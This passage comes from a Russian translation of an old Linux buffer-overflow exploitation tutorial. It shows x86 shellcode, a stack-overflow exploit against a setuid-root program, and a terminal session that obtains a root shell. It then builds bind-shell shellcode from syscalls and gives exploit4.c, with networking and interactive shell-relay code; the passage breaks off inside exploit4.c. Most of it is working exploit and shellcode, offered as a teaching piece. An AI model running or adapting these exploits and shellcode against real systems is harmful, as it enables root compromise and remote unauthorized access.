  31.         "\x31\xc9"                      /* xorl %ecx,%ecx        */
  32.         "\xb1\x10"                      /* movb $0x10,%cl        */
  33.         "\x56"                          /* pushl %esi            */
  34.         "\x01\xce"                      /* addl %ecx,%esi        */
  35.         "\x89\x1e"                      /* movl %ebx,(%esi)      */
  36.         "\x83\xc6\x03"                  /* addl %0x3,%esi        */
  37.         "\xe0\xf9"                      /* loopne -0x7           */
  38.         "\x5e"                          /* popl %esi             */
  39.         "\xb0\x3d"                      /* movb $0x3d,%al        */
  40.         "\x8d\x5e\x10"                  /* leal 0x10(%esi),%ebx  */
  41.         "\xcd\x80"                      /* int $0x80             */
  42.         "\x31\xc0"                      /* xorl %eax,%eax        */
  43.         "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
  44.         "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  45.         "\xb0\x0b"                      /* movb $0xb,%al         */
  46.         "\x89\xf3"                      /* movl %esi,%ebx        */
  47.         "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  48.         "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  49.         "\xcd\x80"                      /* int $0x80             */
  50.         "\xe8\xac\xff\xff\xff"          /* call -0x54            */
  51.         "/bin/sh";                      /* .string \"/bin/sh\"   */
  52.  
  53. unsigned long get_sp(void)
  54. {
  55.         __asm__("movl %esp,%eax");
  56. }
  57.  
  58. void main(int argc,char **argv)
  59. {
  60.         char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
  61.         long addr;
  62.         unsigned long sp;
  63.         int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
  64.         int i;
  65.  
  66.         if(argc&gt;1)
  67.                 offset=atoi(argv[1]);
  68.  
  69.         sp=get_sp();
  70.         addr=sp-offset;
  71.  
  72.         for(i=0;i&lt;bsize;i+=4)
  73.         {
  74.                 buff[i+ALIGN]=(addr&0x000000ff);
  75.                 buff[i+ALIGN+1]=(addr&0x0000ff00)&gt;&gt;8;
  76.                 buff[i+ALIGN+2]=(addr&0x00ff0000)&gt;&gt;16;
  77.                 buff[i+ALIGN+3]=(addr&0xff000000)&gt;&gt;24;
  78.         }
  79.  
  80.         for(i=0;i&lt;bsize-RANGE*2-strlen(shellcode)-1;i++)
  81.                 buff[i]=NOP;
  82.  
  83.         ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
  84.         for(i=0;i&lt;strlen(shellcode);i++)
  85.                 *(ptr++)=shellcode[i];
  86.  
  87.         buff[bsize-1]='\0';
  88.  
  89.         printf("Jump to 0x%08x\n",addr);
  90.  
  91.         execl("./vulnerable3","vulnerable3",buff,0);
  92. }
  93. ----------------------------------------------------------------------------

поехали!

Код (Text):
  1.  
  2. ----------------------------------------------------------------------------
  3. [ ohhara@ohhara ~ ] {1} $ ls -l vulnerable3
  4. -rwsr-xr-x   1 root     root         4348 Oct 18 15:06 vulnerable3*
  5. [ ohhara@ohhara ~ ] {2} $ ls -l exploit3
  6. -rwxr-xr-x   1 ohhara   cse          5059 Oct 18 17:13 exploit3*
  7. [ ohhara@ohhara ~ ] {3} $ ./exploit3
  8. Jump to 0xbfffec68
  9. Segmentation fault
  10. [ ohhara@ohhara ~ ] {4} $ ./exploit3 500
  11. Jump to 0xbfffea74
  12. Segmentation fault
  13. [ ohhara@ohhara ~ ] {5} $ ./exploit3 -500
  14. Jump to 0xbfffee5c
  15. bash# whoami
  16. root
  17. bash# pwd
  18. /home/ftp
  19. bash# cd /
  20. bash# pwd
  21. /
  22. bash# ls
  23. afs  boot  etc     home  lost+found  mnt   root  tmp  var
  24. bin  dev   export  lib   misc        proc  sbin  usr
  25. bash#
  26. ---------------------------------------------------------------------------

5.5. Зачем нам эта техника?

Мы не можем получить директорию рута при помощи атаки заchroot-енной программы setuid с переполнением буфера. Однако, мы можем добраться до всех директорий, применив эту технику.

6. Открытие сокета

Мы можем 'поломать' даемон, если попытаемся переполнить буфер в этом даемоне. В большинстве случаев, мы должны запустить шелл, открыть сокет, и законнектиться на наш стандартный I/O. Иначе мы не получим шелл. Даже если мы раздобудем шелл, сервер сразу же засбОит, и мы не сможем далее работать. В таком случае мы должны создать сложный шеллкод, чтобы законнектиться на стандартный I/O.

6.1 Пример уязвимой программы:

Код (Text):
  1.  
  2. ---------------------------------------------------------------------------
  3. #include&lt;string.h&gt;
  4.  
  5. int main(int argc,char **argv)
  6. {
  7.         char buffer[1024];
  8.         if(argc&gt;1)
  9.                 strcpy(buffer,argv[1]);
  10. }
  11. ---------------------------------------------------------------------------

Это обычная уязвимая программа. Я использую ее для показа переполнения буфера с открытием сокета, т.к. я очень ленивый чтобы писать всякие примеры даемон программ. :smile3: Однако, после того как вы взгляните на этот код, вы все поймете.

6.2 Пишем код открытия сокета

Если мы сможем выполнить этот код, то мы откроем сокет.

Код (Text):
  1.  
  2. opensocketasm1.c
  3. ---------------------------------------------------------------------------
  4. #include&lt;unistd.h&gt;
  5. #include&lt;sys/socket.h&gt;
  6. #include&lt;netinet/in.h&gt;
  7.  
  8. int soc,cli,soc_len;
  9. struct sockaddr_in serv_addr;
  10. struct sockaddr_in cli_addr;
  11.  
  12. int main()
  13. {
  14.         if(fork()==0)
  15.         {
  16.                 serv_addr.sin_family=AF_INET;
  17.                 serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
  18.                 serv_addr.sin_port=htons(30464);
  19.                 soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  20.                 bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr));
  21.                 listen(soc,1);
  22.                 soc_len=sizeof(cli_addr);
  23.                 cli=accept(soc,(struct sockaddr *)&cli_addr,&soc_len);
  24.                 dup2(cli,0);
  25.                 dup2(cli,1);
  26.                 dup2(cli,2);
  27.                 execl("/bin/sh","sh",0);
  28.         }
  29. }
  30. ---------------------------------------------------------------------------

Сложно написать то же самое на ассемблере. Вы можете сделать эту программу проще.

Код (Text):
  1.  
  2. opensocketasm2.c
  3. ---------------------------------------------------------------------------
  4. #include&lt;unistd.h&gt;
  5. #include&lt;sys/socket.h&gt;
  6. #include&lt;netinet/in.h&gt;
  7.  
  8. int soc,cli;
  9. struct sockaddr_in serv_addr;
  10.  
  11. int main()
  12. {
  13.         if(fork()==0)
  14.         {
  15.                 serv_addr.sin_family=2;
  16.                 serv_addr.sin_addr.s_addr=0;
  17.                 serv_addr.sin_port=0x77;
  18.                 soc=socket(2,1,6);
  19.                 bind(soc,(struct sockaddr *)&serv_addr,0x10);
  20.                 listen(soc,1);
  21.                 cli=accept(soc,0,0);
  22.                 dup2(cli,0);
  23.                 dup2(cli,1);
  24.                 dup2(cli,2);
  25.                 execl("/bin/sh","sh",0);
  26.         }
  27. }
  28. ---------------------------------------------------------------------------

компилируем и дизассемблируем:

Код (Text):
  1.  
  2. ---------------------------------------------------------------------------
  3. [ ohhara@ohhara ~ ] {1} $ gcc -o opensocketasm2 -static opensocketasm2.c
  4. [ ohhara@ohhara ~ ] {2} $ gdb opensocketasm2
  5. GNU gdb 4.17
  6. Copyright 1998 Free Software Foundation, Inc.
  7. GDB is free software, covered by the GNU General Public License, and you are
  8. welcome to change it and/or distribute copies of it under certain conditions.
  9. Type "show copying" to see the conditions.
  10. There is absolutely no warranty for GDB.  Type "show warranty" for details.
  11. This GDB was configured as "i386-redhat-linux"...
  12. (gdb) disassemble fork
  13. Dump of assembler code for function fork:
  14. 0x804ca90 &lt;fork&gt;:       movl   $0x2,%eax
  15. 0x804ca95 &lt;fork+5&gt;:     int    $0x80
  16. 0x804ca97 &lt;fork+7&gt;:     cmpl   $0xfffff001,%eax
  17. 0x804ca9c &lt;fork+12&gt;:    jae    0x804cdc0 &lt;__syscall_error&gt;
  18. 0x804caa2 &lt;fork+18&gt;:    ret    
  19. 0x804caa3 &lt;fork+19&gt;:    nop    
  20. 0x804caa4 &lt;fork+20&gt;:    nop    
  21. 0x804caa5 &lt;fork+21&gt;:    nop    
  22. 0x804caa6 &lt;fork+22&gt;:    nop    
  23. 0x804caa7 &lt;fork+23&gt;:    nop    
  24. 0x804caa8 &lt;fork+24&gt;:    nop    
  25. 0x804caa9 &lt;fork+25&gt;:    nop    
  26. 0x804caaa &lt;fork+26&gt;:    nop    
  27. 0x804caab &lt;fork+27&gt;:    nop    
  28. 0x804caac &lt;fork+28&gt;:    nop    
  29. 0x804caad &lt;fork+29&gt;:    nop    
  30. 0x804caae &lt;fork+30&gt;:    nop    
  31. 0x804caaf &lt;fork+31&gt;:    nop    
  32. End of assembler dump.
  33. (gdb) disassemble socket
  34. Dump of assembler code for function socket:
  35. 0x804cda0 &lt;socket&gt;:     movl   %ebx,%edx
  36. 0x804cda2 &lt;socket+2&gt;:   movl   $0x66,%eax
  37. 0x804cda7 &lt;socket+7&gt;:   movl   $0x1,%ebx
  38. 0x804cdac &lt;socket+12&gt;:  leal   0x4(%esp,1),%ecx
  39. 0x804cdb0 &lt;socket+16&gt;:  int    $0x80
  40. 0x804cdb2 &lt;socket+18&gt;:  movl   %edx,%ebx
  41. 0x804cdb4 &lt;socket+20&gt;:  cmpl   $0xffffff83,%eax
  42. 0x804cdb7 &lt;socket+23&gt;:  jae    0x804cdc0 &lt;__syscall_error&gt;
  43. 0x804cdbd &lt;socket+29&gt;:  ret    
  44. 0x804cdbe &lt;socket+30&gt;:  nop    
  45. 0x804cdbf &lt;socket+31&gt;:  nop    
  46. End of assembler dump.
  47. (gdb) disassemble bind
  48. Dump of assembler code for function bind:
  49. 0x804cd60 &lt;bind&gt;:       movl   %ebx,%edx
  50. 0x804cd62 &lt;bind+2&gt;:     movl   $0x66,%eax
  51. 0x804cd67 &lt;bind+7&gt;:     movl   $0x2,%ebx
  52. 0x804cd6c &lt;bind+12&gt;:    leal   0x4(%esp,1),%ecx
  53. 0x804cd70 &lt;bind+16&gt;:    int    $0x80
  54. 0x804cd72 &lt;bind+18&gt;:    movl   %edx,%ebx
  55. 0x804cd74 &lt;bind+20&gt;:    cmpl   $0xffffff83,%eax
  56. 0x804cd77 &lt;bind+23&gt;:    jae    0x804cdc0 &lt;__syscall_error&gt;
  57. 0x804cd7d &lt;bind+29&gt;:    ret    
  58. 0x804cd7e &lt;bind+30&gt;:    nop    
  59. 0x804cd7f &lt;bind+31&gt;:    nop    
  60. End of assembler dump.
  61. (gdb) disassemble listen
  62. Dump of assembler code for function listen:
  63. 0x804cd80 &lt;listen&gt;:     movl   %ebx,%edx
  64. 0x804cd82 &lt;listen+2&gt;:   movl   $0x66,%eax
  65. 0x804cd87 &lt;listen+7&gt;:   movl   $0x4,%ebx
  66. 0x804cd8c &lt;listen+12&gt;:  leal   0x4(%esp,1),%ecx
  67. 0x804cd90 &lt;listen+16&gt;:  int    $0x80
  68. 0x804cd92 &lt;listen+18&gt;:  movl   %edx,%ebx
  69. 0x804cd94 &lt;listen+20&gt;:  cmpl   $0xffffff83,%eax
  70. 0x804cd97 &lt;listen+23&gt;:  jae    0x804cdc0 &lt;__syscall_error&gt;
  71. 0x804cd9d &lt;listen+29&gt;:  ret    
  72. 0x804cd9e &lt;listen+30&gt;:  nop    
  73. 0x804cd9f &lt;listen+31&gt;:  nop    
  74. End of assembler dump.
  75. (gdb) disassemble accept
  76. Dump of assembler code for function __accept:
  77. 0x804cd40 &lt;__accept&gt;:   movl   %ebx,%edx
  78. 0x804cd42 &lt;__accept+2&gt;: movl   $0x66,%eax
  79. 0x804cd47 &lt;__accept+7&gt;: movl   $0x5,%ebx
  80. 0x804cd4c &lt;__accept+12&gt;:        leal   0x4(%esp,1),%ecx
  81. 0x804cd50 &lt;__accept+16&gt;:        int    $0x80
  82. 0x804cd52 &lt;__accept+18&gt;:        movl   %edx,%ebx
  83. 0x804cd54 &lt;__accept+20&gt;:        cmpl   $0xffffff83,%eax
  84. 0x804cd57 &lt;__accept+23&gt;:        jae    0x804cdc0 &lt;__syscall_error&gt;
  85. 0x804cd5d &lt;__accept+29&gt;:        ret    
  86. 0x804cd5e &lt;__accept+30&gt;:        nop    
  87. 0x804cd5f &lt;__accept+31&gt;:        nop    
  88. End of assembler dump.
  89. (gdb) disassemble dup2  
  90. Dump of assembler code for function dup2:
  91. 0x804cbe0 &lt;dup2&gt;:       movl   %ebx,%edx
  92. 0x804cbe2 &lt;dup2+2&gt;:     movl   0x8(%esp,1),%ecx
  93. 0x804cbe6 &lt;dup2+6&gt;:     movl   0x4(%esp,1),%ebx
  94. 0x804cbea &lt;dup2+10&gt;:    movl   $0x3f,%eax
  95. 0x804cbef &lt;dup2+15&gt;:    int    $0x80
  96. 0x804cbf1 &lt;dup2+17&gt;:    movl   %edx,%ebx
  97. 0x804cbf3 &lt;dup2+19&gt;:    cmpl   $0xfffff001,%eax
  98. 0x804cbf8 &lt;dup2+24&gt;:    jae    0x804cdc0 &lt;__syscall_error&gt;
  99. 0x804cbfe &lt;dup2+30&gt;:    ret    
  100. 0x804cbff &lt;dup2+31&gt;:    nop    
  101. End of assembler dump.
  102. (gdb)
  103. ---------------------------------------------------------------------------
  104.  
  105. fork(); code
  106. ---------------------------------------------------------------------------
  107. char code[]=
  108.         "\x31\xc0"                      /* xorl %eax,%eax        */
  109.         "\xb0\x02"                      /* movb $0x2,%al         */
  110.         "\xcd\x80";                     /* int $0x80             */
  111. ---------------------------------------------------------------------------
  112. socket(2,1,6); code
  113. ---------------------------------------------------------------------------
  114.         /* %ecx is a pointer of all arguments.                   */
  115. char code[]=
  116.         "\x31\xc0"                      /* xorl %eax,%eax        */
  117.         "\x31\xdb"                      /* xorl %ebx,%ebx        */
  118.         "\x89\xf1"                      /* movl %esi,%ecx        */
  119.         "\xb0\x02"                      /* movb $0x2,%al         */
  120.         "\x89\x06"                      /* movl %eax,(%esi)      */
  121.         /* The first argument.                                   */
  122.         /* %esi has reference free memory space before using     */
  123.         /* this instruction.                                     */
  124.         "\xb0\x01"                      /* movb $0x1,%al         */
  125.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  126.         /* The second argument.                                  */
  127.         "\xb0\x06"                      /* movb $0x6,%al         */
  128.         "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  129.         /* The third argument.                                   */
  130.         "\xb0\x66"                      /* movb $0x66,%al        */
  131.         "\xb3\x01"                      /* movb $0x1,%bl         */
  132.         "\xcd\x80";                     /* int $0x80             */
  133. ---------------------------------------------------------------------------
  134.  
  135. bind(soc,(struct sockaddr *)&serv_addr,0x10); code
  136. ---------------------------------------------------------------------------
  137.         /* %ecx is a pointer of all arguments.                   */
  138. char code[]=
  139.         "\x89\xf1"                      /* movl %esi,%ecx        */
  140.         "\x89\x06"                      /* movl %eax,(%esi)      */
  141.         /* %eax has to have soc value before using this          */
  142.         /* instruction.                                          */
  143.         /* the first argument.                                   */
  144.         "\xb0\x02"                      /* movb $0x2,%al         */
  145.         "\x66\x89\x46\x0c"              /* movw %ax,0xc(%esi)    */
  146.         /* serv_addr.sin_family=2                                */
  147.         /* 2 is stored at 0xc(%esi).                             */
  148.         "\xb0\x77"                      /* movb $0x77,%al        */
  149.         "\x66\x89\x46\x0e"              /* movw %ax,0xe(%esi)    */
  150.         /* store port number at 0xe(%esi)                        */
  151.         "\x8d\x46\x0c"                  /* leal 0xc(%esi),%eax   */
  152.         /* %eax = the address of serv_addr                       */
  153.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  154.         /* the second argument.                                  */
  155.         "\x31\xc0"                      /* xorl %eax,%eax        */
  156.         "\x89\x46\x10"                  /* movl %eax,0x10(%esi)  */
  157.         /* serv_addr.sin_addr.s_addr=0                           */
  158.         /* 0 is stored at 0x10(%esi).                            */
  159.         "\xb0\x10"                      /* movb $0x10,%al        */
  160.         "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  161.         /* the third argument.                                   */
  162.         "\xb0\x66"                      /* movb $0x66,%al        */
  163.         "\xb3\x02"                      /* movb $0x2,%bl         */
  164.         "\xcd\x80";                     /* int $0x80             */
  165. ---------------------------------------------------------------------------
  166. listen(soc,1); code
  167. ---------------------------------------------------------------------------
  168.         /* %ecx is a pointer of all arguments.                   */
  169. char code[]=
  170.         "\x89\xf1"                      /* movl %esi,%ecx        */
  171.         "\x89\x06"                      /* movl %eax,(%esi)      */
  172.         /* %eax has to have soc value before using this          */
  173.         /* instruction.                                          */
  174.         /* the first argument.                                   */
  175.         "\xb0\x01"                      /* movb $0x1,%al         */
  176.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  177.         /* the second argument.                                  */
  178.         "\xb0\x66"                      /* movb $0x66,%al        */
  179.         "\xb3\x04"                      /* movb $0x4,%bl         */
  180.         "\xcd\x80";                     /* int $0x80             */
  181. ---------------------------------------------------------------------------
  182. accept(soc,0,0); code
  183. ---------------------------------------------------------------------------
  184.         /* %ecx is a pointer of all arguments.                   */
  185. char code[]=
  186.         "\x89\xf1"                      /* movl %esi,%ecx        */
  187.         "\x89\xf1"                      /* movl %eax,(%esi)      */
  188.         /* %eax has to have soc value before using this          */
  189.         /* instruction.                                          */
  190.         /* the first argument.                                   */
  191.         "\x31\xc0"                      /* xorl %eax,%eax        */
  192.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  193.         /* the second argument.                                  */
  194.         "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  195.         /* the third argument.                                   */
  196.         "\xb0\x66"                      /* movb $0x66,%al        */
  197.         "\xb3\x05"                      /* movb $0x5,%bl         */
  198.         "\xcd\x80";                     /* int $0x80             */
  199. ---------------------------------------------------------------------------
  200. dup2(cli,0); code
  201. ---------------------------------------------------------------------------
  202.         /* the first argument is %ebx and the second argument    */
  203.         /* is %ecx                                               */
  204. char code[]=
  205.         /* %eax has to have cli value before using this          */
  206.         /* instruction.                                          */
  207.         "\x88\xc3"                      /* movb %al,%bl          */
  208.         "\xb0\x3f"                      /* movb $0x3f,%al        */
  209.         "\x31\xc9"                      /* xorl %ecx,%ecx        */
  210.         "\xcd\x80";                     /* int $0x80             */
  211. ---------------------------------------------------------------------------

6.3 Модифицируем нормальный шеллкод:

новый шеллкод

Код (Text):
  1.  
  2. ---------------------------------------------------------------------------
  3. char shellcode[]=
  4.         "\x31\xc0"                      /* xorl %eax,%eax        */
  5.         "\xb0\x02"                      /* movb $0x2,%al         */
  6.         "\xcd\x80"                      /* int $0x80             */
  7.         "\x85\xc0"                      /* testl %eax,%eax       */
  8.         "\x75\x43"                      /* jne 0x43              */
  9.         /* fork()!=0 case                                        */
  10.         /* It will call exit(0)                                  */
  11.         /* To do that, it will jump twice, because exit(0) is    */
  12.         /* located so far.                                       */
  13.         "\xeb\x43"                      /* jmp 0x43              */
  14.         /* fork()==0 case                                        */
  15.         /* It will call -0xa5                                    */
  16.         /* To do that, it will jump twice, because call -0xa5    */
  17.         /* is located so far.                                    */
  18.         "\x5e"                          /* popl %esi             */
  19.         "\x31\xc0"                      /* xorl %eax,%eax        */
  20.         "\x31\xdb"                      /* xorl %ebx,%ebx        */
  21.         "\x89\xf1"                      /* movl %esi,%ecx        */
  22.         "\xb0\x02"                      /* movb $0x2,%al         */
  23.         "\x89\x06"                      /* movl %eax,(%esi)      */
  24.         "\xb0\x01"                      /* movb $0x1,%al         */
  25.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  26.         "\xb0\x06"                      /* movb $0x6,%al         */
  27.         "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  28.         "\xb0\x66"                      /* movb $0x66,%al        */
  29.         "\xb3\x01"                      /* movb $0x1,%bl         */
  30.         "\xcd\x80"                      /* int $0x80             */
  31.         "\x89\x06"                      /* movl %eax,(%esi)      */
  32.         "\xb0\x02"                      /* movb $0x2,%al         */
  33.         "\x66\x89\x46\x0c"              /* movw %ax,0xc(%esi)    */
  34.         "\xb0\x77"                      /* movb $0x77,%al        */
  35.         "\x66\x89\x46\x0e"              /* movw %ax,0xe(%esi)    */
  36.         "\x8d\x46\x0c"                  /* leal 0xc(%esi),%eax   */
  37.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  38.         "\x31\xc0"                      /* xorl %eax,%eax        */
  39.         "\x89\x46\x10"                  /* movl %eax,0x10(%esi)  */
  40.         "\xb0\x10"                      /* movb $0x10,%al        */
  41.         "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  42.         "\xb0\x66"                      /* movb $0x66,%al        */
  43.         "\xb3\x02"                      /* movb $0x2,%bl         */
  44.         "\xcd\x80"                      /* int $0x80             */
  45.         "\xeb\x04"                      /* jmp 0x4               */
  46.         "\xeb\x55"                      /* jmp 0x55              */
  47.         "\xeb\x5b"                      /* jmp 0x5b              */
  48.         "\xb0\x01"                      /* movb $0x1,%al         */
  49.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  50.         "\xb0\x66"                      /* movb $0x66,%al        */
  51.         "\xb3\x04"                      /* movb $0x4,%bl         */
  52.         "\xcd\x80"                      /* int $0x80             */
  53.         "\x31\xc0"                      /* xorl %eax,%eax        */
  54.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  55.         "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  56.         "\xb0\x66"                      /* movb $0x66,%al        */
  57.         "\xb3\x05"                      /* movb $0x5,%bl         */
  58.         "\xcd\x80"                      /* int $0x80             */
  59.         "\x88\xc3"                      /* movb %al,%bl          */
  60.         "\xb0\x3f"                      /* movb $0x3f,%al        */
  61.         "\x31\xc9"                      /* xorl %ecx,%ecx        */
  62.         "\xcd\x80"                      /* int $0x80             */
  63.         "\xb0\x3f"                      /* movb $0x3f,%al        */
  64.         "\xb1\x01"                      /* movb $0x1,%cl         */
  65.         "\xcd\x80"                      /* int $0x80             */
  66.         "\xb0\x3f"                      /* movb $0x3f,%al        */
  67.         "\xb1\x02"                      /* movb $0x2,%cl         */
  68.         "\xcd\x80"                      /* int $0x80             */
  69.         "\xb8\x2f\x62\x69\x6e"          /* movl $0x6e69622f,%eax */
  70.         /* %eax="/bin"                                           */
  71.         "\x89\x06"                      /* movl %eax,(%esi)      */
  72.         "\xb8\x2f\x73\x68\x2f"          /* movl $0x2f68732f,%eax */
  73.         /* %eax="/sh/"                                           */
  74.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  75.         "\x31\xc0"                      /* xorl %eax,%eax        */
  76.         "\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
  77.         "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
  78.         "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  79.         "\xb0\x0b"                      /* movb $0xb,%al         */
  80.         "\x89\xf3"                      /* movl %esi,%ebx        */
  81.         "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  82.         "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  83.         "\xcd\x80"                      /* int $0x80             */
  84.         "\x31\xc0"                      /* xorl %eax,%eax        */
  85.         "\xb0\x01"                      /* movb $0x1,%al         */
  86.         "\x31\xdb"                      /* xorl %ebx,%ebx        */
  87.         "\xcd\x80"                      /* int $0x80             */
  88.         "\xe8\x5b\xff\xff\xff";         /* call -0xa5            */
  89. ---------------------------------------------------------------------------

6.4 Эксплуатируем программу vulnerable4

С таким кодом мы можем влегкую написать код эксплойта. А Вы должны дописать код, чтобы законнектиться к сокету.

Код (Text):
  1.  
  2. exploit4.c
  3. ---------------------------------------------------------------------------
  4. #include&lt;stdio.h&gt;
  5. #include&lt;stdlib.h&gt;
  6. #include&lt;unistd.h&gt;
  7. #include&lt;netdb.h&gt;
  8. #include&lt;netinet/in.h&gt;
  9.  
  10. #define ALIGN                             0
  11. #define OFFSET                            0
  12. #define RET_POSITION                   1024
  13. #define RANGE                            20
  14. #define NOP                            0x90
  15.  
  16. char shellcode[]=
  17.         "\x31\xc0"                      /* xorl %eax,%eax        */
  18.         "\xb0\x02"                      /* movb $0x2,%al         */
  19.         "\xcd\x80"                      /* int $0x80             */
  20.         "\x85\xc0"                      /* testl %eax,%eax       */
  21.         "\x75\x43"                      /* jne 0x43              */
  22.         "\xeb\x43"                      /* jmp 0x43              */
  23.         "\x5e"                          /* popl %esi             */
  24.         "\x31\xc0"                      /* xorl %eax,%eax        */
  25.         "\x31\xdb"                      /* xorl %ebx,%ebx        */
  26.         "\x89\xf1"                      /* movl %esi,%ecx        */
  27.         "\xb0\x02"                      /* movb $0x2,%al         */
  28.         "\x89\x06"                      /* movl %eax,(%esi)      */
  29.         "\xb0\x01"                      /* movb $0x1,%al         */
  30.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  31.         "\xb0\x06"                      /* movb $0x6,%al         */
  32.         "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  33.         "\xb0\x66"                      /* movb $0x66,%al        */
  34.         "\xb3\x01"                      /* movb $0x1,%bl         */
  35.         "\xcd\x80"                      /* int $0x80             */
  36.         "\x89\x06"                      /* movl %eax,(%esi)      */
  37.         "\xb0\x02"                      /* movb $0x2,%al         */
  38.         "\x66\x89\x46\x0c"              /* movw %ax,0xc(%esi)    */
  39.         "\xb0\x77"                      /* movb $0x77,%al        */
  40.         "\x66\x89\x46\x0e"              /* movw %ax,0xe(%esi)    */
  41.         "\x8d\x46\x0c"                  /* leal 0xc(%esi),%eax   */
  42.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  43.         "\x31\xc0"                      /* xorl %eax,%eax        */
  44.         "\x89\x46\x10"                  /* movl %eax,0x10(%esi)  */
  45.         "\xb0\x10"                      /* movb $0x10,%al        */
  46.         "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  47.         "\xb0\x66"                      /* movb $0x66,%al        */
  48.         "\xb3\x02"                      /* movb $0x2,%bl         */
  49.         "\xcd\x80"                      /* int $0x80             */
  50.         "\xeb\x04"                      /* jmp 0x4               */
  51.         "\xeb\x55"                      /* jmp 0x55              */
  52.         "\xeb\x5b"                      /* jmp 0x5b              */
  53.         "\xb0\x01"                      /* movb $0x1,%al         */
  54.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  55.         "\xb0\x66"                      /* movb $0x66,%al        */
  56.         "\xb3\x04"                      /* movb $0x4,%bl         */
  57.         "\xcd\x80"                      /* int $0x80             */
  58.         "\x31\xc0"                      /* xorl %eax,%eax        */
  59.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  60.         "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  61.         "\xb0\x66"                      /* movb $0x66,%al        */
  62.         "\xb3\x05"                      /* movb $0x5,%bl         */
  63.         "\xcd\x80"                      /* int $0x80             */
  64.         "\x88\xc3"                      /* movb %al,%bl          */
  65.         "\xb0\x3f"                      /* movb $0x3f,%al        */
  66.         "\x31\xc9"                      /* xorl %ecx,%ecx        */
  67.         "\xcd\x80"                      /* int $0x80             */
  68.         "\xb0\x3f"                      /* movb $0x3f,%al        */
  69.         "\xb1\x01"                      /* movb $0x1,%cl         */
  70.         "\xcd\x80"                      /* int $0x80             */
  71.         "\xb0\x3f"                      /* movb $0x3f,%al        */
  72.         "\xb1\x02"                      /* movb $0x2,%cl         */
  73.         "\xcd\x80"                      /* int $0x80             */
  74.         "\xb8\x2f\x62\x69\x6e"          /* movl $0x6e69622f,%eax */
  75.         "\x89\x06"                      /* movl %eax,(%esi)      */
  76.         "\xb8\x2f\x73\x68\x2f"          /* movl $0x2f68732f,%eax */
  77.         "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  78.         "\x31\xc0"                      /* xorl %eax,%eax        */
  79.         "\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
  80.         "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
  81.         "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  82.         "\xb0\x0b"                      /* movb $0xb,%al         */
  83.         "\x89\xf3"                      /* movl %esi,%ebx        */
  84.         "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  85.         "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  86.         "\xcd\x80"                      /* int $0x80             */
  87.         "\x31\xc0"                      /* xorl %eax,%eax        */
  88.         "\xb0\x01"                      /* movb $0x1,%al         */
  89.         "\x31\xdb"                      /* xorl %ebx,%ebx        */
  90.         "\xcd\x80"                      /* int $0x80             */
  91.         "\xe8\x5b\xff\xff\xff";         /* call -0xa5            */
  92.  
  93. unsigned long get_sp(void)
  94. {
  95.         __asm__("movl %esp,%eax");
  96. }
  97.  
  98. long getip(char *name)
  99. {
  100.         struct hostent *hp;
  101.         long ip;
  102.         if((ip=inet_addr(name))==-1)
  103.         {
  104.                 if((hp=gethostbyname(name))==NULL)
  105.                 {
  106.                         fprintf(stderr,"Can't resolve host.\n");
  107.                         exit(0);
  108.                 }
  109.                 memcpy(&ip,(hp-&gt;h_addr),4);
  110.         }
  111.         return ip;
  112. }
  113.  
  114. int exec_sh(int sockfd)
  115. {
  116.         char snd[4096],rcv[4096];
  117.         fd_set rset;
  118.         while(1)
  119.         {
  120.                 FD_ZERO(&rset);
  121.                 FD_SET(fileno(stdin),&rset);
  122.                 FD_SET(sockfd,&rset);
  123.                 select(255,&rset,NULL,NULL,NULL);
  124.                 if(FD_ISSET(fileno(stdin),&rset))
  125.                 {
  126.                         memset(snd,0,sizeof(snd));
  127.                         fgets(snd,sizeof(snd),stdin);
  128.                         write(sockfd,snd,strlen(snd));
  129.                 }
  130.                 if(FD_ISSET(sockfd,&rset))
  131.                 {
  132.                         memset(rcv,0,sizeof(rcv));
  133.                         if(read(sockfd,rcv,sizeof(rcv))&lt;=0)
  134.                                 exit(0);
  135.                         fputs(rcv,stdout);
  136.                 }
  137.         }
  138. }
  139.  
